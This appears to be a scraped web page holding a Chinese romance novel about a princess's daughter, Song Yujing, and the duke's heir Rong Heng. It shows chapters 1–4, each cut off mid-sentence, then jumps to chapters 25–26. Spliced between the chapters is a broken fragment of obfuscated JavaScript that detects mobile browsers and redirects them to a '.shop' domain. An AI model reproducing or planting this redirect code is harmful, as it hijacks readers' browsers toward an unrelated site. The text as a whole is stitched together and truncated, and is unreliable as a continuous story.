《夫君美貌无人能及》 1. 桃花 《夫君美貌无人能及》全本免费阅读 宋予静低头揉了揉眼角,困意一阵阵地涌上来,微张开口想打个哈欠,耳边忽然传来简单的两个字。 “坐好。” 她立即挺直腰背,没打完的哈欠也咽了下去,按照教习女官的教导,双手交叠,规规矩矩地搭在腹部,嘴角勾起恰到好处的弧度,转头看向声源处。 “母亲。” 庆阳长公主坐在马车中间,艳丽的牡丹花自裙角一路蔓开到腰间,蝴蝶翩跹,穿梭在重重叠叠的花间。 她的目光在落在宋予静的脸上,上上下下来回打量,最后停在女儿僵硬的嘴角,微微蹙眉:“罢了,左右还没到。” 庆阳长公主停顿一下,又问:“还有多久才到平远侯府?” 侍女恭谨地答道:“回殿下,大约还有一刻钟的路程。” 闻言,宋予静长呼出一口气,习惯性往后靠,又猛地僵住,拉开一段距离,虚靠在车壁上,避免弄坏晨间足足花了半个时辰才梳好的发髻。 不能往后靠,她悄悄伸直腿。 马车宽阔,裙摆边刚露出一点雪白的鞋尖,又猛地缩了回去。 宋予静偷偷去瞄庆阳长公主的脸色,没想到正对上母亲戏谑的目光。 “行啦,这又没外人,坐轻松些也没事。”庆阳长公主笑笑,“只是我们十几年没回京城了,今日第一次赴宴,在外人面前,你得给我守好礼仪,至于私下里或者在家里,你爱躺着也好,站着也罢,我都不会管。” 她连忙保证:“阿娘放心,我绝对不会给你丢脸的!” “你这话说的我好像是个什么爱磋磨人的恶人一样。” “怎么可能?!”宋予静夸张地哇了一声,“阿娘就跟天上的牡丹仙子一样,善良美丽,温柔可亲,谁敢说您的不好?” 庆阳长公主伸手扶正她发髻上的流苏发钗,“就你会说。” “我说的都是实话嘛。”她笑嘻嘻地凑到母亲跟前,“我就知道阿娘最好了。” 庆阳长公主嘴角噙着一抹笑,指尖轻轻点过她的额头, 马车平缓匀速地往前走,车轮碾过青石板,响起阵阵轻微的吱呀声,混在逐渐热闹起来的人声里,越来越听不清楚。 宋予静掀开车窗帘子的一角,看向外面的大街。 路面宽阔,高大的院墙边上停满了马车轿子,俱是一派的华美贵气,还有马车顶上刻了繁盛金纹,在阳光的照耀下,格外璀璨夺目。 马车继续往前走,因路面变窄,走得比先前慢。 前方忽然跑过来褐色衣袍的中年男子,额头冒出一层细汗,向马车弯腰行礼:“老奴恭请长公主贵安。” 宋予静放下帘子,看了眼母亲平静的神色,暗暗深吸一口气,重新坐直身子。 回答管事的是外面驾车的车夫:“劳驾寻个停马车的位置。” “是。”管事伸手,向车夫指引方向,“请往这边走。” 走到平远侯府的大门前,即使后面陆陆续续地有马车轿子前来,府门前仍有一大片特意留出来的空地。 侍女掀开帘子,扶着庆阳长公主下了马车。 宋予静紧随其后,落后半步,接替侍女,扶着母亲的手臂,跟她一起走上台阶。 跨进府门,走到影壁后面,几名打扮得体的侍女正侯在那里,见到她们一行人,连忙行礼。 领头的那名侍女恭声禀道:“殿下,夫人正在花厅,特命奴婢在此等候,请殿下移步。” 庆阳长公主颔首。 来之前,宋予静便听庆阳长公主叮嘱过,今日平远侯府宴席设的是赏花宴。 平远侯武将出身,院宅修得豪迈阔气,自带一股武人的粗犷气息。 可当侍女领着她们走过垂花门,迈进后花园时,眼前景色倏忽一变。 鹅卵石铺就的小路蜿蜒向前,两边种着各色各样的花木,如今开得正旺,黄紫灼目,红绿层叠,色彩斑斓的蝴蝶停留在花尖,更添几分奇美。 浓郁的花香扑面而来,宋予静环顾周围打理得异常精巧的花木,视线沿着小路向前,最后落在远边那一片醒目的云霞。 隔得远,她猜不出具体是什么花,只看见湖蓝色天空下的洁白如雪,两侧粉色暮云簇拥,宛若日暮降落时的远山霞光。 “怎么了?” 发现宋予静没有及时跟上去,庆阳长公主停下脚步,回头看她,又顺着她的视线看向远方。 领路的侍女见状,解释道:“那边是杏花林和桃花林,有几位赴宴的公子姑娘正在林间赏花。” 庆阳长公主了然地点点头,唤道:“静儿。” 宋予静连忙上前,跟在母亲身边,继续往前走。 宴席设在待客的花厅,她跟着母亲刚走进花厅,迎面走来一位美妇人,笑容真切:“可算是把你们等来了。” “怎么?”庆阳长公主略一挑眉,“莫非我不来,你这宴席难道还不开了?” “瞧瞧,庆阳这嘴皮子还是跟以前一样,半点亏都不肯吃。” 几位夫人站在旁边,配合地附和几声。 宋予静低头盯着地面,除了最开始的行礼问好,她一直站在庆阳长公主身后,听着母亲和别人寒暄。 从庆阳长公主的话语中,她一下子就猜出对方是今日赏花宴的主家,平远侯夫人,亦是自家母亲多年的好友。 “这就是宜宁吧?这么多年不见了,都长成大姑娘了。” 听见自己的封号,宋予静微勾起嘴角,再次福身:“宜宁见过夫人。” 平远侯夫人掩嘴笑了笑:“论起来,我家侯爷比宋学士年长几岁,我呢,也比庆阳年长一岁,宜宁若是不介意,不妨唤我一声伯母。” 庆阳长公主替她回答:“按辈分也该唤你一声伯母。” 宋予静不再迟疑,特意放柔声音:“伯母。” 平远侯夫人笑着应声,拉着庆阳长公主往前走,“你在外面游山玩水十几年,好不容易回来了,今日可得陪我多聊会儿天,说说你都去了哪些好地方。” “哪有什么好地方,不过就是四处看看山看看水,比不上你在京城过得舒坦,来的路上,我可看见了,那些花木长得这么好,一定是你的手笔。” “往日里闲着无事,我随便侍弄些花花草草,好在运气不错,长得勉强还行。” 庆阳长公主与平远侯夫人一起坐到上首。 宋予静顺势坐在下方,面带微笑,维持在马车里一样的姿态,向周围的命妇礼貌问好。 两人经年未见,聊起来一时没停。 她也不着急,安静地坐在旁边,只在母亲提起时,偶尔应声。 “倒是我的过错了。”平远侯夫人看她一眼,轻 2. 记起 《夫君美貌无人能及》全本免费阅读 宋予静见过很多人,男女老少都有,其中不缺长得好看的人,她能想到很多言辞去描述他们哪里好看。 可看见不远处的少年,她愣在原地想了大半天,依旧想不出该用什么言语来形容他,脑海里不停地回转那八个字。 郎艳独绝,世无其二。 他很年轻,看上去似乎和兄长一般年纪,对上她的目光,他微微一愣,缓步朝她走来。 宋予静倏地用力,捏紧桃枝,捏得枝干上褐色树皮都差点被她揪下来。 她深吸一口气,率先开口:“见过公子,不知道公子在此处,叨扰了。” “姑娘不必客气。”对方笑容温和,“我受邀前来侯府赴宴,亦为宾客,此处并非是我独有,何曾有叨扰一说。” 宋予静应声,悄悄抬头看了眼对面的少年,看见他眉眼间浅淡的笑意,手一用力,终于把脆弱的桃树皮扣下来了,黏在指尖。 两人之间一时无话,唯有和煦春风拂过,花瓣飘飘,落在少年雪白的衣摆上。 他再次开口,声音清润:“在下姓容,单名一个珩字。” 时下风气开放,男女之间互通姓名并不少见,亦是礼仪。 宋予静想了想,也说出自己的姓名。 她刚说完,便看见对方脸上一闪而过的讶异,似乎还夹杂着一丝她看不懂的东西,不等她细看,转瞬不见,快得仿佛是她的错觉。 “原来是宜宁县主。”容珩拱手作揖,“在下失礼了。” 宋予静连忙摆手:“容公子不必如此客气,更不用唤我县主,不然我也得称呼你为容世子了。” 她不习惯别人称呼她为县主,有时候都反应不过来是在叫她,之前在水榭里,她也让那些姑娘不要叫她县主。 现在听见对方的姓名,宋予静在脑海里搜寻片刻,从庆阳长公主要求背的勋贵百官关系表里找出对方的身份—— 镇国公府的世子。 不过之前她光顾着背关系图了,现在亲耳听见,又觉得这个名字有些熟悉,好像她以前听过一样。 会在哪里听过呢? 宋予静努力回想,又听到容珩顺着她的意思换了个称呼:“宋姑娘。” 思绪被打断,她不再纠结,回了声“容公子”,问:“你也是来参加赏花宴吗?” “是。”容珩颔首,“素来听闻平远侯府景色秀美,花园里百花争艳,闲来得空,便来看看。” 她接上话头,聊了一会儿园子的花木,故作不经意地问:“容公子是什么时候来的桃林?” “我先前在杏花林里闲逛,同行的几位公子略感倦乏,在外面休息,我四处走走,就走到这里了。” 容珩顿了顿,继续说:“来这里有些时辰了,我该回去了。” 此话正中宋予静的下怀。 她轻咳一声,赞同道:“确实,容公子不介意的话,不妨一起离开。” 容珩应了声好,脸上的笑容恰到好处。 宋予静捏住桃枝,莫名觉得他看穿了自己的小心思。 她落后两三步,跟在容珩的身后。 这一片的桃花长得过分好,不少枝丫胡乱斜岔出来,没有及时修剪,四处挡路。 容珩走在前面,宋予静抬头看了眼他修长挺拔的背影,又低头看看落满花瓣的地面,嘴唇微动,最终还是保持安静,跟在后面。 容珩伸手压住前方粗壮的枝干,回过身,“宋姑娘,你先过去。” “好。” 这株碧桃长得格外高,比其他桃树足足大了一圈,树枝繁茂,有些规律地朝上生长,有些却张牙舞爪伸向四面八方。 宋予静矮身躲开桃枝,从容珩身边经过。 眼角余光瞥见雪白的衣角,她鬼使神差地停了一下,转头看向容珩。 他抬手压住桃树枝,低垂眼帘,浓密纤细的睫毛在眼底落下点点阴影。 他的身后是绚烂似火的桃花,满天飞红,映衬得他白皙的脸颊都仿佛染上了微红。 宋予静呼吸一窒。 他的眼睫微动,在他抬眸看过来前,她迅速往前迈出一大步。 她握紧手里的桃花,听到后面跟上来的脚步声,转身看向容珩。 他伸手拂去头上的几瓣桃花,“宋姑娘,走吧。” 前面的路开阔很多,两人并肩而行。 宋予静直直地盯着前方,手里紧紧抓住那枝桃花。 “……宋姑娘很喜欢桃花?”身侧的容珩缓声开口,带着一丝疑惑。 “啊?”她回过神,意识到他问了什么后,反问,“容公子为什么忽然这么问?” 容珩的视线匆匆掠过她身前的粉花,旋即移向前方,“因为宋姑娘一直拿着这枝桃花。” 宋予静举起桃花。 枝干下方的褐色树皮不知什么时候被她扣掉了,露出浅黄色的干木,原本开得正盛的花朵都被她揪下不少花瓣。 她讪笑两声,把桃枝塞到身后,含糊道:“还好吧,桃花是挺好看的。” 好在容珩没有追问,略略点头后,与她继续往前走。 走出桃林,看见来时熟悉的路,宋予静向身侧的少年道谢:“容公子,我要去花厅,不知道你是回前院,还是去花厅?” “我去前院。”容珩拱手,“宋姑娘,就此别过。” 她也跟着回了一礼,见他的身影消失在垂花门外,转身走向花厅,拐过假山时,前方响起一阵急促的脚步声。 宋予静连忙刹住脚步。 抬头一看,是府里的侍女,神色匆匆,见到她,连声询问:“姑娘,您去了哪里?殿下正在找您。” “别担心,我在前面赏花。”她拍拍侍女的肩膀,“母亲找我有什么事?” “宴席快要结束了,殿下让奴婢来找姑娘,说要回府了。” 宋予静点头,快到花厅时,她停下脚步,把手里的桃花塞给侍女。 “帮我拿好,记得带回府里。” 她低头检查衣裳,又拿帕子擦掉指尖沾染的树皮粘液,确定身上没有丝毫不妥后,这才缓步走进花厅。 里面还坐着不少夫人贵女,平远侯夫人还在和庆阳长公主说话。 宋予静走上前,福身行礼,唤道:“母亲。” 庆阳长公主打量她一番,颔首应了一声。 一番寒暄过后,平远侯夫人亲自送到府门,语气诚恳地邀请庆阳长公主有空常到府里坐坐。 坐进回府的马车里,宋予静长长地呼出一口气,伸直双腿,用力捶捶僵硬的肩膀。 “很累?” “那倒没有,总没有爬山那么累。” 庆阳长公主笑笑:“说说你今日在平远侯府做什么。” 宋予静应了声“好”,随即简单而不失细节地讲述在侯府的经历,重点表明她和赴宴的贵女打好了关系,没有出任何差错。 说到她迷路走进桃花林时,她卡了一下,脑海里不由自主地浮现容珩昳丽的脸。 “怎么了?”发现她没有继续说,庆阳长公主看过来,“你走进桃林里,然后呢?” 宋予静垂下眼帘,避开母亲的目光,略去些许细节,简明扼要地说完她在桃林里的偶遇。 “原来是容珩那个孩子,没想到他今日也来赴宴了,竟然 3. 再遇 《夫君美貌无人能及》全本免费阅读 宋予静习惯性回答:“甭提了,老哥儿,我丢脸都丢到慈宁宫里了。” 一听见她丢脸了,对面的人眼睛都亮起来,连声催促:“快说,你咋丢脸了,说出来让老哥儿我乐呵乐呵。” 宋予静瞪他:“你还是我亲哥吗?” “当然是嘞。”宋归鸿完全不在意她威胁的眼神,再次催促,“你快讲你到底干啥子了嘛?” 不等她再次开口,后面响起一道女声:“我倒是不记得了,你们什么时候还学会了辽东话,难道是怪我和你们父亲没带你们去辽东。” 明明是温柔似水的嗓音,宋予静却听得背后一凉,都不用回头,她就能猜出是庆阳长公主回来了。 对面的宋归鸿也握住折扇,规规矩矩地站好,语调恢复如常:“娘,我和静儿就是闹着玩的,辽东就在那里,早去晚去都一样。” 庆阳长公主挑眉,瞥了两人一眼,没再说什么,往正屋走去。 兄妹两人立在原地,目送母亲的身影消失在屋里,不由而同地松了口气。 “说吧,怎么一回来就愁眉苦脸的。”宋归鸿紧紧皱眉,再次仔仔细细地打量自家妹妹,没有看到明显的不对劲后,稍微舒展眉头,“难道是在平远侯府受委屈了?” “没有。” 宋予静抬头看了眼兄长,再看四周的侍女,拉着他走到僻静无人的角落里,简单迅速地讲清事情原委。 末了,她怀着微弱的希冀,问:“哥,我以前真的干过这种事?” 宋归鸿刷地一下打开折扇,遮住下半张脸,“你想听真话还是听假话?” 即使他挡住了脸,宋予静也猜得出他现在肯定笑得合不拢嘴,又想知道真相,只得回答:“真话。” “真话就是……”他故意停顿一下,拉长声音,“你还真这么干过。” 纵使做好了心理准备,现在再听亲兄长确定一遍,她彻底放弃,往后一退,坐在围栏边,额头抵在柱子上。 “好丢人啊……” 宋归鸿跟着坐下来,“这有什么丢人的?” “为什么你们都记得那么清楚?”宋予静抱着柱子,“我怎么好像一点印象都没有?” 宋归鸿回想片刻,回答:“那时候你才三岁多,后来外祖父驾崩,你又小病了一场,加上都过了十几年,你记不清楚很正常。” 她努力在脑海里搜寻,只想起几个模糊的片段,隐约对得上母亲兄长所言。 “……算了。” 事已至此,她不再多纠结,转着手里桃花,花瓣飘落,按照庆阳长公主的建议,迅速在心里拟出礼物单子。 宋归鸿看她,疑道:“又不是什么大事,你为什么一直这么垂头丧气?” 宋予静一愣。 她蓦地想起容珩压住桃花的那一瞬间,不自觉地按按心口。 思索片刻后,她得出答案:“大概是因为容公子长得特别好看。” 在那么美丽的郎君面前丢脸,总觉得格外不好意思。 “有多好看?”宋归鸿指着自己的脸,“是他好看?还是我好看?” 宋予静扫了眼对面的俊美脸庞,朝他一笑,抛回同样的问题:“你想听真话还是听假话?” 说完,她瞧见宋归鸿屈起指节,飞快闪身躲开,不忘回头朝兄长做鬼脸:“你别想再敲我的额头。” “你别走!给我停下!”宋归鸿追过来,“居然觉得别人比你哥哥好看,有你这么当妹妹的吗?” “我才不停!” 宋予静小跑回到正院门口,转身看见宋归鸿慢悠悠地走过来,双手背到身后,摇头叹道:“哥,你居然连我跑不过。” 宋归鸿哼了声,见她还有心思学夫子在那里踱步,彻底舒展眉头,说:“明天我要去东城,你要不要一起去,听说那边有不少美食,还有一些淘玉石的铺子。” 她一改先前的摇头叹息,走过去抓起他手里的扇子,温柔体贴地为他扇风:“哥哥最好了,一定会带我去玩的。” 微风拂面,驱散几分热意,宋归鸿抬起下颌,“行吧,谁让我大人有大量,带你一起去了。” 宋予静欢呼出声,手上用力,扇得更快,“哥,那我们……” “奴婢见过公子、姑娘。” 她转头一看,庆阳长公主的贴身侍女秋叶从正院走出来,福身行礼。 “殿下吩咐奴婢来寻姑娘,说后日礼部尚书府设宴,让姑娘做好准备,和殿下一同赴宴。” “啊?还有宴席?” 秋叶肯定点头:“是。” 庆阳长公主要求她做好赴宴的准备,那她明天肯定不能出去玩了。 宋予静垮下肩膀,扇风的手也慢下来,“知道了,我会按时赴宴。” “那明天我就一个人去了。”宋归鸿悠悠开口,“放心,我会记得给你带好吃的。” 他话里的幸灾乐祸再明显不过,她没办法反驳,鼓起脸颊:“那我要吃桃花酥云片糕……” 等她报完一大串的糕点名字,秋叶再次开口:“公子,殿下说您也要去赴宴,不能出丝毫差错。” “我?!”宋归鸿脸上的笑容顿时僵住,瞪大眼睛,“为什么我也要去?” “殿下如此吩咐,公子若是不想去,可以直接告诉殿下。” 他立即拒绝:“那倒不用。” 秋叶笑了笑,福身一礼,返回正院。 “哥哥,你也要去。”宋予静毫不客气地笑出声,“不能出去玩了哦。” 宋归鸿叹道:“你也不能出去玩,你还那么开心。” “但现在有你陪我了。”她摇头晃脑,“独乐乐不如众乐乐,总比我在陪母亲赴宴,而你在外面逍遥自在好。” 她把扇子还给宋归鸿,“走吧,哥哥,去陪阿娘用晚膳。” * 接下来的半个多月里,宋予静不是在赴宴,就是赴宴的路上。 庆阳长公主要求她和兄长在外人面前要礼仪得体,不能像在家里那样嬉笑玩闹。 在外面端持一整天的礼仪下来,她觉得自己脸都要笑僵了。 唯一值得安慰的是还有宋归鸿陪她。 今日的宴席结束后,宋予静跟着母亲和兄长回到家里,手肘悄悄撞了下身侧的宋归鸿,眼睛还盯着前面庆阳长公主的背影。 “哥。”她用气音说话,“明天去谁家?” “我也不知道。”宋归鸿回以气声,“暂时还没听娘说要去哪。” 宋予静叹气,看见庆阳长公主停下来,紧跟着止步。 “从明天起,家里收到请帖后,你们自己选择去不去,去哪一家。” 她立即与宋归鸿对视一眼,同时转头看向母亲,异口同声:“真的吗?” 庆阳长公主含笑点头。 “我就知道阿娘最好了!” “没错!” 庆阳长公主抿唇笑了笑,继续说:“最近你们两个都辛苦了,各自去找管家支五百两银子,给你们当零花。” 宋予静连忙跑过去,替母亲揉捏肩膀,语气 4. 玉石 《夫君美貌无人能及》全本免费阅读 自平远侯府的桃花林一别后,宋予静参加了半个多月的宴会,一次都没有遇见容珩。 如今再见到他,她忍不住勾起嘴角:“容公子,你怎么在这里?” “天气正好,出来走走,顺便买些东西。”容珩笑意温和,“宋姑娘呢?” “我出来玩……” 玩字刚出口,对上他温和的目光,宋予静卡了一下,转头看看周围的人群,指尖不停地挠着手心。 “那个……容公子,你现在有空吗?我有……有些话要对你说。” 容珩简单回答:“有。” 她指向僻静少人的小巷,“我们先去那边。” 走进巷子里,街上嘈杂热闹的声音被短暂地隔绝在外,她转身看向两步外的容珩,双手交叠,额头抵在手背,朝他弯腰。 她的动作太过突然,容珩一时不察,侧身躲开,手虚握成拳,小臂隔着衣服托住她的双手。 “宋姑娘这是做什么?” 宋予静往后稍退一步,继续行完剩下的礼,“上个月二十日,我派人送礼到镇国公府,不知道容公子有没有收到?” 见他点头,她继续说:“正如笺上所写,我年幼无知,不慎给容公子造成了困扰,是我的过错,我在这里向容公子赔礼道歉。” 说完,宋予静重新站直,看向对方的人。 容珩背对巷子口站着,阳光从他身后斜斜地照过来,有些刺眼。 她不由微微眯起眼睛。 “当时我们两人年纪尚小,又是无心之举,”容珩笑了笑,“宋姑娘放心,我并不介意此事,你不必如此在意,更不用这般郑重。” 此事已了,宋予静彻底放松下来,与他一起并肩往外走。 想起他之前所言,她微张开口,又想起除了小时候的一面,今天不过是两人第二次见面,将要问出的话咽了回去。 “宋姑娘是有什么想问的吗?”容珩似乎看出了她的犹疑,“不妨直说。” “……也不是什么大事,”宋予静停顿一下,“先前听容公子说要买东西,不知道有没有买到,我应该没有耽搁你吧?” “没有。”他提起一个青色布袋,“东西买到了。” 布袋偏大,里面不知装了什么,看上去沉甸甸的。 她盯了一会儿,准备挪开视线时,容珩好像误会了她的目光,主动拉开系带,解释:“是一块玉石,我想买回去打磨成扇坠。” “你还会制玉?” “不会,届时可能还要找一些玉匠。” 宋予静低头看向布袋里面,石头约摸拳头大小,大体为白色,几道褐黄色的纹路歪歪斜斜地蔓延。 她皱眉,“冒昧问一下,这块玉石是在哪里买的?花了多少钱?” “在东直门大街。”容珩回答,“并不贵,摊主说石头不算大,只收了我八十两银子。” “八十两?”她惊讶反问,“这么便宜?” 容珩点头。 宋予静还盯着玉石,心里有了大半的猜测,“我能拿起来看看吗?” “自然可以。” 她倒出石头放在掌心摸了摸,又举起来放在阳光下观察,最后放在掌心,看向容珩,咬着下唇,不知道该怎么开口。 “难道有什么问题?”他看着她的手,“还请直言。” “容公子应该是第一次来买玉石吧?”见他点头,宋予静心中猜测得到印证,继续说,“这的确是块玉石,但大部分都是石头,玉质很少,打磨下来,应该只能一小块玉。” 她伸出小拇指,比了个半个指节,“大概就这么多。” “竟会如此?” 宋予静把石头还给他,虽心有不忍,仍直言道:“容公子,你被骗了。” 容珩眉间轻蹙,不复之前温和闲雅,无端地让人想要抚平那几道细细的皱纹。 她搓搓手指,在心里怒骂无良摊贩以次充好,说出来的话却有些犹豫:“我略微懂一些如何辨别玉石,容公子不介意的话,不如我陪你去挑选?” 他眉头一松,又皱起,“会不会太麻烦宋姑娘了?” “不会。”宋予静连忙回答,“我本来也打算去逛玉石铺子。” 容珩思索片刻,道:“那就多谢宋姑娘了。” 两人一起走出巷子。 “容公子为什么会亲自来挑选玉石?” 以他的身份,不说直接雕琢好的玉器,即使是玉石,吩咐一声就会有人送到他的面前。 “起初是让人送了两批玉石,但里面没有合我心意的,恰好最近无事,便过来看看。” “那你想要什么样的?”她继续问,“硬玉还是软玉?喜欢什么颜色?要不要有花纹?” “软硬皆可,颜色最好为白色,青白色也可,至于花纹……”容珩停顿一下,“我想玉的内里自有流水纹样,最好水纹上还有花瓣。” 宋予静认真记下他说的要求,率先走进玉石铺子。 铺子不算很大,柜架上摆满颜色大小各异的玉石,有几位客人正在伙计的陪侍下赏看。 身着短褐的伙计迎上来,堆满笑容,视线在两人身上一转,直接对容珩说:“公子,不知是想买什么玉石?我们这里白玉、青玉、黄玉都有,小的带您看看。” 容珩摇头,看向宋予静。 她笑着摆手:“我们先自己看,不必麻烦。” 伙计也跟着看她,没有拒绝:“那公子有什么问题,吩咐小的一声便好。” 宋予静站在玉石堆里,依次拿起玉石放在掌心握一握,对着光线细看,再屈起指节弹一弹表面,放到耳边细听。 逛了两圈,她没有找到符合要求的玉石。 一般而言,最好的玉石都先送进宫里,次一些的送到勋贵百官家里,流入民间的大多参差不齐,运气好的话,的确能买到上好的玉石。 宋予静紧皱眉头,“我们再去别的地方看看。” 容珩一直安静地跟在身边,应道:“好。” 一连逛了几家铺子,都没找到合适的玉石,她扬手在脸边扇了扇,“容公子……” 话未说完,响起一阵细微的“咕咕”声。 宋予静连忙捂住肚子。 容珩移开视线,抬头望了眼天空,又低头看她,询问:“宋姑娘,快午时了,寻找玉石的事情不急在这一时,倒是我有些饿了,不如我们先去用午膳?” 她点头,揉揉微热的耳尖,饥饿感全凑在这个时候涌上来,“我们去临江楼。” “好。” 正值午间,临江楼里人来人往,方桌四边坐满了人,伙计穿梭在人群里送菜,忙得脚不沾地。 小二凑上来,额头冒汗,仍满脸笑容:“两位请往这边走。” “去二楼的雅间。”宋予静掏出一枚木牌,“先按昨天说的单子上菜。” 小二看了眼楼里的木牌,笑容更甚:“姑娘请,按您的吩咐,雅间一直备着,食材一早就开始准备了,就等您两位来,小的马上让人开始做菜。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871675|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里大声斥责亲生儿子,还差点打人。 宋予静鼓起半边脸,毕竟是容珩的父亲,顾及他的心情,没有真当着他的面说出心里的抱怨。 但她又觉得有些奇怪,在她听到的各种传闻里,镇国公不应该是这样冲动的性子,怎么会在宫宴上发酒疯? 她咬住下唇,悄悄觑了他一眼。 仿佛看出她的疑惑,容珩紧紧抿住唇,绷成直线,唇色隐隐发白。 “五天前是……”他的声音低而凝涩,“母亲的忌日,所以父亲的心情非常不好。” 宋予静猛地攥紧拳头,失声问:“你的生辰是什么时候?!” 千万不要是五天前! 千万不要整母亲的忌日是孩子生辰这一出! “十一月初七。”容珩低垂眼帘,“不是你想的那样。” 她倏地松了口气,抿了抿唇,郑重保证道:“方才的事情……我绝对不会告诉任何人。” 容珩微微摇头:“无妨。” 见他不想多说,宋予静自然不会也不愿意再提镇国公,听见远处传来一阵脚步声,伴着胡乱的醉话。 她往四周一看,两人杵在这里实在显眼,放缓声音,建议道:“我们要不要去别的地方走走?” 容珩点头,稍微落后她半步,跟在她的身侧。 两人沿着宫墙慢慢往前走,谁都没有说话,平缓的脚步声在宫道响起。 宋予静盯着前面的影子,食指无意识地来回抠动灯柄,悄悄转头去看容珩,又在他看过来前,迅速收回目光。 难怪之前她送了两次信笺,他都以没空回绝。 他当然没空,可她一无所知,竟然还想着找他出来玩。 宋予静皱紧眉,指甲擦过灯柄,发出轻微的响声,在寂静的夜里听得清晰。 容珩看了她一眼,准确说是看了她的手一眼,轻声叹道:“我来提灯吧。” “不用。” 她缓缓呼出一口气,将灯笼往他的方向偏移。 “你怎么出来了?”容珩看着面前的亮光,“离开殿内很久了吗?” “殿内有点闷,我出来透口气,也就出来小半刻钟。”宋予静微扬起声音,转开话题,“你今晚吃月饼了吗?宴席上放的居然是五仁月饼,果仁很香,吃起来还不错。” “吃了一两块,府里做的也是五仁月饼。” 话题被打开,她有意活跃气氛,聊起最近遇到的趣事。 容珩仍像以前一样应声接话,眉眼含着笑意,却仿佛又隔着一层朦胧烟雨。 快走到宫道尽头时,他停下脚步,说:“我们该回殿内了。” 宋予静跟着止步,回头看他。 容珩背对银月而站,影子被拉得很长,整个人笼罩在阴影里,先前脸上好歹还带着点笑,此刻全部消失。 心口再度传来一阵刺痛,她问:“回到殿内,你是不是又要坐在镇国公旁边?” “自然,他是我的父亲。”容珩低声笑了笑,“走吧。” 他转身往前走了几步,发现宋予静没有跟上去,又走回到她的面前。 “怎么了?” 宋予静深吸一口气,注视他的双眼,一字一句地说:“我们偷偷溜出宫吧。” 26. 偷溜 “不行。”容珩直言拒绝,“这于礼不合,如果被发现了,怕是会惹圣上不快。” “那就不要被人发现。”宋予静弯腰往灯笼里吹气,摇曳烛光立时熄灭,“难道你很想回去?” 容珩抿住唇,没有说话。 “走嘛,一起去嘛,快到亥时了,宴席都快要结束了。”她勾起他的衣袖,抓在手里,指腹擦过上面的暗纹,“你就当陪我出去玩,好不好?就算被骂也只会骂我一个人。” 他微微摇头。 宋予静松开手,故意重重叹气:“你不愿意陪我就算了,我自己一个人去,听说今晚街上好多漂亮花灯……” 她低头往前走,屈起指节擦擦眼角,又往后偷瞄他的神情。 容珩微低着头,目光虚虚落在前面,银色月光自他身后倾泄,在地上映出一道修长的身影。 宋予静朝他的影子伸出手,指尖轻点他的脸颊,低声一叹,继续往前走。 即将跨过宫道转角时,后面响起一阵急促的脚步声,她的衣角被人轻轻拉住。 她停下脚步,没有回头。 “我……”他的声音压得很低,却很坚定,不再犹豫,“我陪你去,如果圣上责罚,全都是我一个人的错。” 她绝不会让他独自承担。 心里这么想,脸上却扬起轻松自在的笑容,宋予静宽慰道:“你为什么非要假定舅舅会责罚我们呢?舅舅那么忙,不会在意这些小事,你就放心吧。” 笑意重现漫上他的眼角,容珩松开手,“是我多虑了。” “那我们赶紧走吧。” 夜空澄净,之前漂浮不定的几丝阴云尽数散开,圆月越发饱满明亮,不用灯笼,也能看清前面的路。 宋予静紧贴宫墙根,放轻脚步,大步往前走了一段距离,又停下来,侧耳倾听前方的动静。 一阵铿锵有力的脚步声规律地响起,伴着盔甲碰撞的声音。 大概是巡逻的禁军。 她竖起食指抵在唇边,示意跟在后面的容珩不要出声,待听到脚步声远去后,她压低声音:“我们走快点。” 容珩小声应好。 飞快地跑到宫道尽头,宋予静抚摸胸口顺气,继续侧耳听周围的声响,眼角余光瞥见容珩欲言又止的模样,不由问:“怎么了?” “你为什么……”他低声问,“这么熟练?” “呃……” 她正犹豫该如何回答,听见规律的脚步声再次由远及近,她一把拽住他的衣袖。 “快走!” 一路躲开禁军和宫人,顺利地走出宫门时,宋予静不由长松一口气。 她走到公主府的车驾前,吩咐侍女在宫宴结束后,向庆阳长公主和宋学士禀告一声,免得他们到处找人。 说完,她想了想,又压低声音吩咐一番。 侍女应是,转身迅速离开。 宋予静走回到容珩面前,问:“你要不要也跟府里的管事说一声?” 容珩摇头:“不用。” 见他不愿多说,她立即转移话题:“你饿不饿?我们先去吃点凉粉,好不好?” “好。” 中秋以赏月为主,虽有游人提着花灯,但不及上元灯节的璀璨繁华。 宋予静走在前面,在摊子上买了两包果脯,递给身侧的容珩,“你尝尝。” 容珩接住油纸包,往两边看看,直至快走到巷子口,周围几乎没有其他行人,才问:“你以前偷溜过?” 宋予静摸摸鼻尖,如实回答:“以前在江南的时候,我跟母亲赴宴,偶尔有几次待得太久了,实在很烦,我就偷偷躲开府卫溜走了。” 庆阳长公主身份尊贵,在江南时常收到宴会邀请,她自然跟着去,但席间总有人看中她的身份,刻意逢迎。 次数多了,她就试着偷溜,不过都会选择在宴席快结束的时候,以不胜酒力为理由,再让侍女悄悄告诉庆阳长公主一声。 “你不会从来没有在宴席上偷偷溜走过吧?” 见他点头给出肯定的答案,宋予静忍不住又问:“难道你小时候也没有从学堂里偷溜过?” 容珩继续点头。 完了,她不会把他带坏了吧? 不等她感慨,又听到他小声问:“莫非你小时候干过这样的事?” 她可以不回答吗? 宋予静瞅瞅他的神色,见他似乎有些好奇,老实交代:“七岁那年,父亲请来的学堂先生太严苛了,讲课又讲的无聊透顶,我和兄长实在忍不了,就偷偷溜到外面玩……” 七八岁正是上房揭瓦顽皮捣蛋的年纪,更不想枯坐在学堂里,听白胡子白眉毛的先生念念叨叨,两人肆无忌惮地在外面玩了一整天。 但天黑之后,她和宋归鸿回到家,一眼便看见宋学士阴沉的黑脸与庆阳长公主温柔的笑脸。 当晚她就被庆阳长公主打了十几个板子的手心,宋归鸿更惨,因为是他拾掇主谋,挨完宋学士的打,还要继续挨庆阳长公主的打。 不过挨完打后,宋学士便换了一位学堂先生,新先生为人和蔼可亲,讲课生动有趣。 